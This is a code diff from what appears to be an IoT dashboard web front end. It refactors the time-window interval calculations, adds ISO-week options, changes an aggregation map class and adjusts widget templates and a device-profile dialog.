220   - this.startTs = calculateIntervalStartTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
221   - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
  273 + const startEndTime = calculateIntervalStartEndTime(this.subsTw.quickInterval, this.subsTw.timezone);
  274 + this.startTs = startEndTime[0] + this.subsTw.tsOffset;
  275 + this.endTs = startEndTime[1] + this.subsTw.tsOffset;
222 276 } else {
223 277 this.startTs += tickTs;
224 278 this.endTs += tickTs;
... ... @@ -234,7 +288,7 @@ export class DataAggregator {
234 288 this.updatedData = false;
235 289 }
236 290 if (!history) {
237   - this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), this.aggregationTimeout);
  291 + this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), intervalTimeout);
238 292 }
239 293 }
240 294
... ... @@ -242,18 +296,18 @@ export class DataAggregator {
242 296 this.tsKeyNames.forEach((key) => {
243 297 this.dataBuffer[key] = [];
244 298 });
245   - for (const key of Object.keys(this.aggregationMap)) {
246   - const aggKeyData = this.aggregationMap[key];
  299 + for (const key of Object.keys(this.aggregationMap.aggMap)) {
  300 + const aggKeyData = this.aggregationMap.aggMap[key];
247 301 let keyData = this.dataBuffer[key];
248 302 aggKeyData.forEach((aggData, aggTimestamp) => {
249   - if (aggTimestamp <= this.startTs) {
  303 + if (aggTimestamp < this.startTs) {
250 304 if (this.subsTw.aggregation.stateData &&
251 305 (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) {
252 306 this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue];
253 307 }
254 308 aggKeyData.delete(aggTimestamp);
255 309 this.updatedData = true;
256   - } else if (aggTimestamp <= this.endTs) {
  310 + } else if (aggTimestamp < this.endTs) {
257 311 const kvPair: [number, any] = [aggTimestamp, aggData.aggValue];
258 312 keyData.push(kvPair);
259 313 }
... ... @@ -300,12 +354,12 @@ export class DataAggregator {
300 354
301 355 private processAggregatedData(data: SubscriptionData): AggregationMap {
302 356 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
303   - const aggregationMap: AggregationMap = {};
  357 + const aggregationMap = new AggregationMap();
304 358 for (const key of Object.keys(data)) {
305   - let aggKeyData = aggregationMap[key];
  359 + let aggKeyData = aggregationMap.aggMap[key];
306 360 if (!aggKeyData) {
307   - aggKeyData = new Map<number, AggData>();
308   - aggregationMap[key] = aggKeyData;
  361 + aggKeyData = new AggDataMap();
  362 + aggregationMap.aggMap[key] = aggKeyData;
309 363 }
310 364 const keyData = data[key];
311 365 keyData.forEach((kvPair) => {
... ... @@ -326,10 +380,10 @@ export class DataAggregator {
326 380 private updateAggregatedData(data: SubscriptionData) {
327 381 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
328 382 for (const key of Object.keys(data)) {
329   - let aggKeyData = this.aggregationMap[key];
  383 + let aggKeyData = this.aggregationMap.aggMap[key];
330 384 if (!aggKeyData) {
331   - aggKeyData = new Map<number, AggData>();
332   - this.aggregationMap[key] = aggKeyData;
  385 + aggKeyData = new AggDataMap();
  386 + this.aggregationMap.aggMap[key] = aggKeyData;
333 387 }
334 388 const keyData = data[key];
335 389 keyData.forEach((kvPair) => {
... ... @@ -374,4 +428,3 @@ export class DataAggregator {
374 428 }
375 429
376 430 }
377   -
... ...
... ... @@ -277,7 +277,11 @@ export class EntityDataSubscription {
277 277 dataAggregator.reset(newSubsTw);
278 278 });
279 279 }
280   - this.subscriber.setTsOffset(this.subsTw.tsOffset);
  280 + if (this.entityDataSubscriptionOptions.type === widgetType.timeseries) {
  281 + this.subscriber.setTsOffset(this.subsTw.tsOffset);
  282 + } else {
  283 + this.subscriber.setTsOffset(this.latestTsOffset);
  284 + }
281 285 targetCommand.query = this.dataCommand.query;
282 286 this.subscriber.subscriptionCommands = [targetCommand];
283 287 } else {
... ...
... ... @@ -37,12 +37,11 @@ import {
37 37 } from '@app/shared/models/widget.models';
38 38 import { HttpErrorResponse } from '@angular/common/http';
39 39 import {
40   - calculateIntervalEndTime,
41   - calculateIntervalStartTime,
  40 + calculateIntervalStartEndTime,
42 41 calculateTsOffset, ComparisonDuration,
43 42 createSubscriptionTimewindow,
44 43 createTimewindowForComparison,
45   - getCurrentTime, isHistoryTypeTimewindow,
  44 + isHistoryTypeTimewindow,
46 45 SubscriptionTimewindow,
47 46 Timewindow, timewindowTypeChanged,
48 47 toHistoryTimewindow,
... ... @@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription {
1106 1105 this.timeWindow.timezone = this.subscriptionTimewindow.timezone;
1107 1106 if (this.subscriptionTimewindow.realtimeWindowMs) {
1108 1107 if (this.subscriptionTimewindow.quickInterval) {
1109   - const currentDate = getCurrentTime(this.subscriptionTimewindow.timezone);
1110   - this.timeWindow.maxTime = calculateIntervalEndTime(
1111   - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset;
1112   - this.timeWindow.minTime = calculateIntervalStartTime(
1113   - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset;
  1108 + const startEndTime = calculateIntervalStartEndTime(this.subscriptionTimewindow.quickInterval, this.subscriptionTimewindow.timezone);
  1109 + this.timeWindow.maxTime = startEndTime[1] + this.subscriptionTimewindow.tsOffset;
  1110 + this.timeWindow.minTime = startEndTime[0] + this.subscriptionTimewindow.tsOffset;
1114 1111 } else {
1115 1112 this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff;
1116 1113 this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs;
... ...
... ... @@ -80,9 +80,9 @@
80 80 (mousedown)="widgetMouseDown($event, widget)"
81 81 (click)="widgetClicked($event, widget)"
82 82 (contextmenu)="openWidgetContextMenu($event, widget)">
83   - <div fxLayout="row" fxLayoutAlign="space-between start">
84   - <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" [fxShow]="widget.showWidgetTitlePanel">
85   - <span [fxShow]="widget.showTitle"
  83 + <div *ngIf="widgetComponent.widgetContext?.inited" fxLayout="row" fxLayoutAlign="space-between start">
  84 + <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" *ngIf="widget.showWidgetTitlePanel">
  85 + <span *ngIf="widget.showTitle"
86 86 [ngClass]="{'single-row': widget.hasTimewindow}"
87 87 [ngStyle]="widget.titleStyle"
88 88 [matTooltip]="widget.titleTooltip"
... ... @@ -93,7 +93,6 @@
93 93 {{widget.customTranslatedTitle}}
94 94 </span>
95 95 <tb-timewindow *ngIf="widget.hasTimewindow"
96   - #timewindowComponent
97 96 aggregation="{{widget.hasAggregation}}"
98 97 timezone="true"
99 98 [isEdit]="isEdit"
... ... @@ -101,7 +100,7 @@
101 100 (ngModelChange)="widgetComponent.onTimewindowChanged($event)">
102 101 </tb-timewindow>
103 102 </div>
104   - <div [fxShow]="widget.showWidgetActions"
  103 + <div *ngIf="widget.showWidgetActions"
105 104 class="tb-widget-actions"
106 105 [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}"
107 106 fxLayout="row"
... ...
... ... @@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service';
56 56 import { AddEntityDialogComponent } from './add-entity-dialog.component';
57 57 import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models';
58 58 import {
59   - calculateIntervalEndTime,
60   - calculateIntervalStartTime,
61   - getCurrentTime,
  59 + calculateIntervalStartEndTime,
62 60 HistoryWindowType,
63 61 Timewindow
64 62 } from '@shared/models/time/time.models';
... ... @@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn
303 301 timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs;
304 302 timePageLink.endTime = currentTime;
305 303 } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) {
306   - const currentDate = getCurrentTime();
307   - timePageLink.startTime = calculateIntervalStartTime(this.timewindow.history.quickInterval, currentDate);
308   - timePageLink.endTime = calculateIntervalEndTime(this.timewindow.history.quickInterval, currentDate);
  304 + const startEndTime = calculateIntervalStartEndTime(this.timewindow.history.quickInterval);
  305 + timePageLink.startTime = startEndTime[0];
  306 + timePageLink.endTime = startEndTime[1];
309 307 } else {
310 308 timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs;
311 309 timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs;
... ...
... ... @@ -36,7 +36,6 @@ import {
36 36 import { DeviceProfileService } from '@core/http/device-profile.service';
37 37 import { DeviceProfileComponent } from '@home/components/profile/device-profile.component';
38 38 import { DeviceProfileTabsComponent } from './device-profile-tabs.component';
39   -import { Observable } from 'rxjs';
40 39 import { MatDialog } from '@angular/material/dialog';
41 40 import {
42 41 AddDeviceProfileDialogComponent,
... ... @@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
138 137 return actions;
139 138 }
140 139
141   - addDeviceProfile(): Observable<DeviceProfile> {
142   - return this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData,
  140 + addDeviceProfile() {
  141 + this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData,
143 142 DeviceProfile>(AddDeviceProfileDialogComponent, {
144 143 disableClose: true,
145 144 panelClass: ['tb-dialog', 'tb-fullscreen-dialog'],
... ... @@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
147 146 deviceProfileName: null,
148 147 transportType: null
149 148 }
150   - }).afterClosed();
  149 + }).afterClosed().subscribe(
  150 + (res) => {
  151 + if (res) {
  152 + this.config.table.updateData();
  153 + }
  154 + }
  155 + );
151 156 }
152 157
153 158 setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) {
... ...
... ... @@ -520,7 +520,7 @@ export enum DeviceCredentialsType {
520 520 export const credentialTypeNames = new Map<DeviceCredentialsType, string>(
521 521 [
522 522 [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'],
523   - [DeviceCredentialsType.X509_CERTIFICATE, 'MQTT X.509'],
  523 + [DeviceCredentialsType.X509_CERTIFICATE, 'X.509'],
524 524 [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'],
525 525 [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials']
526 526 ]
... ...
... ... @@ -136,13 +136,16 @@ export enum QuickTimeInterval {
136 136 DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY',
137 137 THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK',
138 138 PREVIOUS_WEEK = 'PREVIOUS_WEEK',
  139 + PREVIOUS_WEEK_ISO = 'PREVIOUS_WEEK_ISO',
139 140 PREVIOUS_MONTH = 'PREVIOUS_MONTH',
140 141 PREVIOUS_YEAR = 'PREVIOUS_YEAR',
141 142 CURRENT_HOUR = 'CURRENT_HOUR',
142 143 CURRENT_DAY = 'CURRENT_DAY',
143 144 CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR',
144 145 CURRENT_WEEK = 'CURRENT_WEEK',
145   - CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_WAR',
  146 + CURRENT_WEEK_ISO = 'CURRENT_WEEK_ISO',
  147 + CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_FAR',
  148 + CURRENT_WEEK_ISO_SO_FAR = 'CURRENT_WEEK_ISO_SO_FAR',
146 149 CURRENT_MONTH = 'CURRENT_MONTH',
147 150 CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR',
148 151 CURRENT_YEAR = 'CURRENT_YEAR',
... ... @@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
154 157 [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'],
155 158 [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'],
156 159 [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'],
  160 + [QuickTimeInterval.PREVIOUS_WEEK_ISO, 'timeinterval.predefined.previous-week-iso'],
157 161 [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'],
158 162 [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'],
159 163 [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'],
160 164 [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'],
161 165 [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'],
162 166 [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'],
  167 + [QuickTimeInterval.CURRENT_WEEK_ISO, 'timeinterval.predefined.current-week-iso'],
163 168 [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'],
  169 + [QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR, 'timeinterval.predefined.current-week-iso-so-far'],
164 170 [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'],
165 171 [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'],
166 172 [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'],
... ... @@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
168 174 ]);
169 175
170 176 export function historyInterval(timewindowMs: number): Timewindow {
171   - const timewindow: Timewindow = {
  177 + return {
172 178 selectedTab: TimewindowType.HISTORY,
173 179 history: {
174 180 historyType: HistoryWindowType.LAST_INTERVAL,
175 181 timewindowMs
176 182 }
177 183 };
178   - return timewindow;
179 184 }
180 185
181 186 export function defaultTimewindow(timeService: TimeService): Timewindow {
182 187 const currentTime = moment().valueOf();
183   - const timewindow: Timewindow = {
  188 + return {
184 189 displayValue: '',
185 190 hideInterval: false,
186 191 hideAggregation: false,
... ... @@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow {
208 213 limit: Math.floor(timeService.getMaxDatapointsLimit() / 2)
209 214 }
210 215 };
211   - return timewindow;
212 216 }
213 217
214 218 function getTimewindowType(timewindow: Timewindow): TimewindowType {
... ... @@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
298 302 aggType = AggregationType.AVG;
299 303 limit = timeService.getMaxDatapointsLimit();
300 304 }
301   - const historyTimewindow: Timewindow = {
  305 + return {
302 306 hideInterval: timewindow.hideInterval || false,
303 307 hideAggregation: timewindow.hideAggregation || false,
304 308 hideAggInterval: timewindow.hideAggInterval || false,
... ... @@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
318 322 },
319 323 timezone: timewindow.timezone
320 324 };
321   - return historyTimewindow;
322 325 }
323 326
324 327 export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean {
... ... @@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
357 360 timezone: timewindow.timezone,
358 361 tsOffset: calculateTsOffset(timewindow.timezone)
359 362 };
360   - let aggTimewindow = 0;
  363 + let aggTimewindow;
361 364 if (stateData) {
362 365 subscriptionTimewindow.aggregation.type = AggregationType.NONE;
363 366 subscriptionTimewindow.aggregation.stateData = true;
... ... @@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
379 382 }
380 383 }
381 384 if (realtimeType === RealtimeWindowType.INTERVAL) {
382   - const currentDate = getCurrentTime(timewindow.timezone);
383 385 subscriptionTimewindow.realtimeWindowMs =
384   - getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, currentDate);
  386 + getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, timewindow.timezone);
385 387 subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval;
386   - subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate);
  388 + const currentDate = getCurrentTime(timewindow.timezone);
  389 + subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate).valueOf();
387 390 } else {
388 391 subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs;
389   - subscriptionTimewindow.startTs = Date.now() + stDiff - subscriptionTimewindow.realtimeWindowMs;
  392 + const currentDate = getCurrentTime(timewindow.timezone);
  393 + subscriptionTimewindow.startTs = currentDate.valueOf() + stDiff - subscriptionTimewindow.realtimeWindowMs;
390 394 }
391 395 subscriptionTimewindow.aggregation.interval =
392 396 timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval,
... ... @@ -419,10 +423,10 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
419 423 };
420 424 aggTimewindow = timewindow.history.timewindowMs;
421 425 } else if (historyType === HistoryWindowType.INTERVAL) {
422   - const currentDate = getCurrentTime(timewindow.timezone);
  426 + const startEndTime = calculateIntervalStartEndTime(timewindow.history.quickInterval, timewindow.timezone);
423 427 subscriptionTimewindow.fixedWindow = {
424   - startTimeMs: calculateIntervalStartTime(timewindow.history.quickInterval, currentDate),
425   - endTimeMs: calculateIntervalEndTime(timewindow.history.quickInterval, currentDate)
  428 + startTimeMs: startEndTime[0],
  429 + endTimeMs: startEndTime[1]
426 430 };
427 431 aggTimewindow = subscriptionTimewindow.fixedWindow.endTimeMs - subscriptionTimewindow.fixedWindow.startTimeMs;
428 432 subscriptionTimewindow.quickInterval = timewindow.history.quickInterval;
... ... @@ -445,7 +449,8 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
445 449 return subscriptionTimewindow;
446 450 }
447 451
448   -function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, currentDate: moment_.Moment): number {
  452 +function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterval, tz?: string): number {
  453 + let currentDate;
449 454 switch (interval) {
450 455 case QuickTimeInterval.CURRENT_HOUR:
451 456 return HOUR;
... ... @@ -453,91 +458,100 @@ function getSubscriptionRealtimeWindowFromTimeInterval(interval: QuickTimeInterv
453 458 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
454 459 return DAY;
455 460 case QuickTimeInterval.CURRENT_WEEK:
  461 + case QuickTimeInterval.CURRENT_WEEK_ISO:
456 462 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  463 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
457 464 return WEEK;
458 465 case QuickTimeInterval.CURRENT_MONTH:
459 466 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
  467 + currentDate = getCurrentTime(tz);
460 468 return currentDate.endOf('month').diff(currentDate.clone().startOf('month'));
461 469 case QuickTimeInterval.CURRENT_YEAR:
462 470 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
  471 + currentDate = getCurrentTime(tz);
463 472 return currentDate.endOf('year').diff(currentDate.clone().startOf('year'));
464 473 }
465 474 }
466 475
467   -export function calculateIntervalEndTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {
468   - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz);
469   - switch (interval) {
470   - case QuickTimeInterval.YESTERDAY:
471   - currentDate.subtract(1, 'days');
472   - return currentDate.endOf('day').valueOf();
473   - case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
474   - currentDate.subtract(2, 'days');
475   - return currentDate.endOf('day').valueOf();
476   - case QuickTimeInterval.THIS_DAY_LAST_WEEK:
477   - currentDate.subtract(1, 'weeks');
478   - return currentDate.endOf('day').valueOf();
479   - case QuickTimeInterval.PREVIOUS_WEEK:
480   - currentDate.subtract(1, 'weeks');
481   - return currentDate.endOf('week').valueOf();
482   - case QuickTimeInterval.PREVIOUS_MONTH:
483   - currentDate.subtract(1, 'months');
484   - return currentDate.endOf('month').valueOf();
485   - case QuickTimeInterval.PREVIOUS_YEAR:
486   - currentDate.subtract(1, 'years');
487   - return currentDate.endOf('year').valueOf();
488   - case QuickTimeInterval.CURRENT_HOUR:
489   - return currentDate.endOf('hour').valueOf();
490   - case QuickTimeInterval.CURRENT_DAY:
491   - return currentDate.endOf('day').valueOf();
492   - case QuickTimeInterval.CURRENT_WEEK:
493   - return currentDate.endOf('week').valueOf();
494   - case QuickTimeInterval.CURRENT_MONTH:
495   - return currentDate.endOf('month').valueOf();
496   - case QuickTimeInterval.CURRENT_YEAR:
497   - return currentDate.endOf('year').valueOf();
498   - case QuickTimeInterval.CURRENT_DAY_SO_FAR:
499   - case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
500   - case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
501   - case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
502   - return currentDate.valueOf();
503   - }
  476 +export function calculateIntervalStartEndTime(interval: QuickTimeInterval, tz?: string): [number, number] {
  477 + const startEndTs: [number, number] = [0, 0];
  478 + const currentDate = getCurrentTime(tz);
  479 + const startDate = calculateIntervalStartTime(interval, currentDate);
  480 + startEndTs[0] = startDate.valueOf();
  481 + const endDate = calculateIntervalEndTime(interval, startDate, tz);
  482 + startEndTs[1] = endDate.valueOf();
  483 + return startEndTs;
504 484 }
505 485
506   -export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment = null, tz: string = ''): number {
507   - currentDate = currentDate ? currentDate.clone() : getCurrentTime(tz);
  486 +export function calculateIntervalStartTime(interval: QuickTimeInterval, currentDate: moment_.Moment): moment_.Moment {
508 487 switch (interval) {
509 488 case QuickTimeInterval.YESTERDAY:
510 489 currentDate.subtract(1, 'days');
511   - return currentDate.startOf('day').valueOf();
  490 + return currentDate.startOf('day');
512 491 case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
513 492 currentDate.subtract(2, 'days');
514   - return currentDate.startOf('day').valueOf();
  493 + return currentDate.startOf('day');
515 494 case QuickTimeInterval.THIS_DAY_LAST_WEEK:
516 495 currentDate.subtract(1, 'weeks');
517   - return currentDate.startOf('day').valueOf();
  496 + return currentDate.startOf('day');
518 497 case QuickTimeInterval.PREVIOUS_WEEK:
519 498 currentDate.subtract(1, 'weeks');
520   - return currentDate.startOf('week').valueOf();
  499 + return currentDate.startOf('week');
  500 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  501 + currentDate.subtract(1, 'weeks');
  502 + return currentDate.startOf('isoWeek');
521 503 case QuickTimeInterval.PREVIOUS_MONTH:
522 504 currentDate.subtract(1, 'months');
523   - return currentDate.startOf('month').valueOf();
  505 + return currentDate.startOf('month');
524 506 case QuickTimeInterval.PREVIOUS_YEAR:
525 507 currentDate.subtract(1, 'years');
526   - return currentDate.startOf('year').valueOf();
  508 + return currentDate.startOf('year');
527 509 case QuickTimeInterval.CURRENT_HOUR:
528   - return currentDate.startOf('hour').valueOf();
  510 + return currentDate.startOf('hour');
529 511 case QuickTimeInterval.CURRENT_DAY:
530 512 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
531   - return currentDate.startOf('day').valueOf();
  513 + return currentDate.startOf('day');
532 514 case QuickTimeInterval.CURRENT_WEEK:
533 515 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
534   - return currentDate.startOf('week').valueOf();
  516 + return currentDate.startOf('week');
  517 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  518 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  519 + return currentDate.startOf('isoWeek');
535 520 case QuickTimeInterval.CURRENT_MONTH:
536 521 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
537   - return currentDate.startOf('month').valueOf();
  522 + return currentDate.startOf('month');
  523 + case QuickTimeInterval.CURRENT_YEAR:
  524 + case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
  525 + return currentDate.startOf('year');
  526 + }
  527 +}
  528 +
  529 +export function calculateIntervalEndTime(interval: QuickTimeInterval, startDate: moment_.Moment, tz?: string): number {
  530 + switch (interval) {
  531 + case QuickTimeInterval.YESTERDAY:
  532 + case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
  533 + case QuickTimeInterval.THIS_DAY_LAST_WEEK:
  534 + case QuickTimeInterval.CURRENT_DAY:
  535 + return startDate.add(1, 'day').valueOf();
  536 + case QuickTimeInterval.PREVIOUS_WEEK:
  537 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  538 + case QuickTimeInterval.CURRENT_WEEK:
  539 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  540 + return startDate.add(1, 'week').valueOf();
  541 + case QuickTimeInterval.PREVIOUS_MONTH:
  542 + case QuickTimeInterval.CURRENT_MONTH:
  543 + return startDate.add(1, 'month').valueOf();
  544 + case QuickTimeInterval.PREVIOUS_YEAR:
538 545 case QuickTimeInterval.CURRENT_YEAR:
  546 + return startDate.add(1, 'year').valueOf();
  547 + case QuickTimeInterval.CURRENT_HOUR:
  548 + return startDate.add(1, 'hour').valueOf();
  549 + case QuickTimeInterval.CURRENT_DAY_SO_FAR:
  550 + case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  551 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  552 + case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
539 553 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
540   - return currentDate.startOf('year').valueOf();
  554 + return getCurrentTime(tz).valueOf();
541 555 }
542 556 }
543 557
... ... @@ -552,8 +566,11 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
552 566 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
553 567 return DAY;
554 568 case QuickTimeInterval.PREVIOUS_WEEK:
  569 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
555 570 case QuickTimeInterval.CURRENT_WEEK:
  571 + case QuickTimeInterval.CURRENT_WEEK_ISO:
556 572 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
  573 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
557 574 return WEEK;
558 575 case QuickTimeInterval.PREVIOUS_MONTH:
559 576 case QuickTimeInterval.CURRENT_MONTH:
... ... @@ -567,72 +584,58 @@ export function quickTimeIntervalPeriod(interval: QuickTimeInterval): number {
567 584 }
568 585
569 586 export function calculateIntervalComparisonStartTime(interval: QuickTimeInterval,
570   - currentDate: moment_.Moment): number {
  587 + startDate: moment_.Moment): moment_.Moment {
571 588 switch (interval) {
572 589 case QuickTimeInterval.YESTERDAY:
573 590 case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
574 591 case QuickTimeInterval.CURRENT_DAY:
575 592 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
576   - currentDate.subtract(1, 'days');
577   - return currentDate.startOf('day').valueOf();
  593 + startDate.subtract(1, 'days');
  594 + return startDate.startOf('day');
578 595 case QuickTimeInterval.THIS_DAY_LAST_WEEK:
579   - currentDate.subtract(1, 'weeks');
580   - return currentDate.startOf('day').valueOf();
  596 + startDate.subtract(1, 'weeks');
  597 + return startDate.startOf('day');
581 598 case QuickTimeInterval.PREVIOUS_WEEK:
582 599 case QuickTimeInterval.CURRENT_WEEK:
583 600 case QuickTimeInterval.CURRENT_WEEK_SO_FAR:
584   - currentDate.subtract(1, 'weeks');
585   - return currentDate.startOf('week').valueOf();
  601 + startDate.subtract(1, 'weeks');
  602 + return startDate.startOf('week');
  603 + case QuickTimeInterval.PREVIOUS_WEEK_ISO:
  604 + case QuickTimeInterval.CURRENT_WEEK_ISO:
  605 + case QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR:
  606 + startDate.subtract(1, 'weeks');
  607 + return startDate.startOf('isoWeek');
586 608 case QuickTimeInterval.PREVIOUS_MONTH:
587 609 case QuickTimeInterval.CURRENT_MONTH:
588 610 case QuickTimeInterval.CURRENT_MONTH_SO_FAR:
589   - currentDate.subtract(1, 'months');
590   - return currentDate.startOf('month').valueOf();
  611 + startDate.subtract(1, 'months');
  612 + return startDate.startOf('month');
591 613 case QuickTimeInterval.PREVIOUS_YEAR:
592 614 case QuickTimeInterval.CURRENT_YEAR:
593 615 case QuickTimeInterval.CURRENT_YEAR_SO_FAR:
594   - currentDate.subtract(1, 'years');
595   - return currentDate.startOf('year').valueOf();
  616 + startDate.subtract(1, 'years');
  617 + return startDate.startOf('year');
596 618 case QuickTimeInterval.CURRENT_HOUR:
597   - currentDate.subtract(1, 'hour');
598   - return currentDate.startOf('hour').valueOf();
  619 + startDate.subtract(1, 'hour');
  620 + return startDate.startOf('hour');
599 621 }
600 622 }
601 623
602 624 export function calculateIntervalComparisonEndTime(interval: QuickTimeInterval,
603   - currentDate: moment_.Moment): number {
  625 + comparisonStartDate: moment_.Moment,
  626 + endDate: moment_.Moment): number {
604 627 switch (interval) {
605   - case QuickTimeInterval.YESTERDAY:
606   - case QuickTimeInterval.DAY_BEFORE_YESTERDAY:
607   - case QuickTimeInterval.CURRENT_DAY:
608   - currentDate.subtract(1, 'days');
609   - return currentDate.endOf('day').valueOf();
610 628 case QuickTimeInterval.CURRENT_DAY_SO_FAR:
611   - return currentDate.subtract(1, 'days').valueOf();
612   - case QuickTimeInterval.THIS_DAY_LAST_WEEK:
613   - currentDate.subtract(1, 'weeks');
614   - return currentDate.endOf('day').valueOf();
615   - case QuickTimeInterval.PREVIOUS_WEEK:
616   - case QuickTimeInterval.CURRENT_WEEK:
617   - currentDate.subtract(1, 'weeks');
618   - return currentDate.endOf('week').valueOf();
  629 + return endDate.subtract(1, 'days').valueOf();
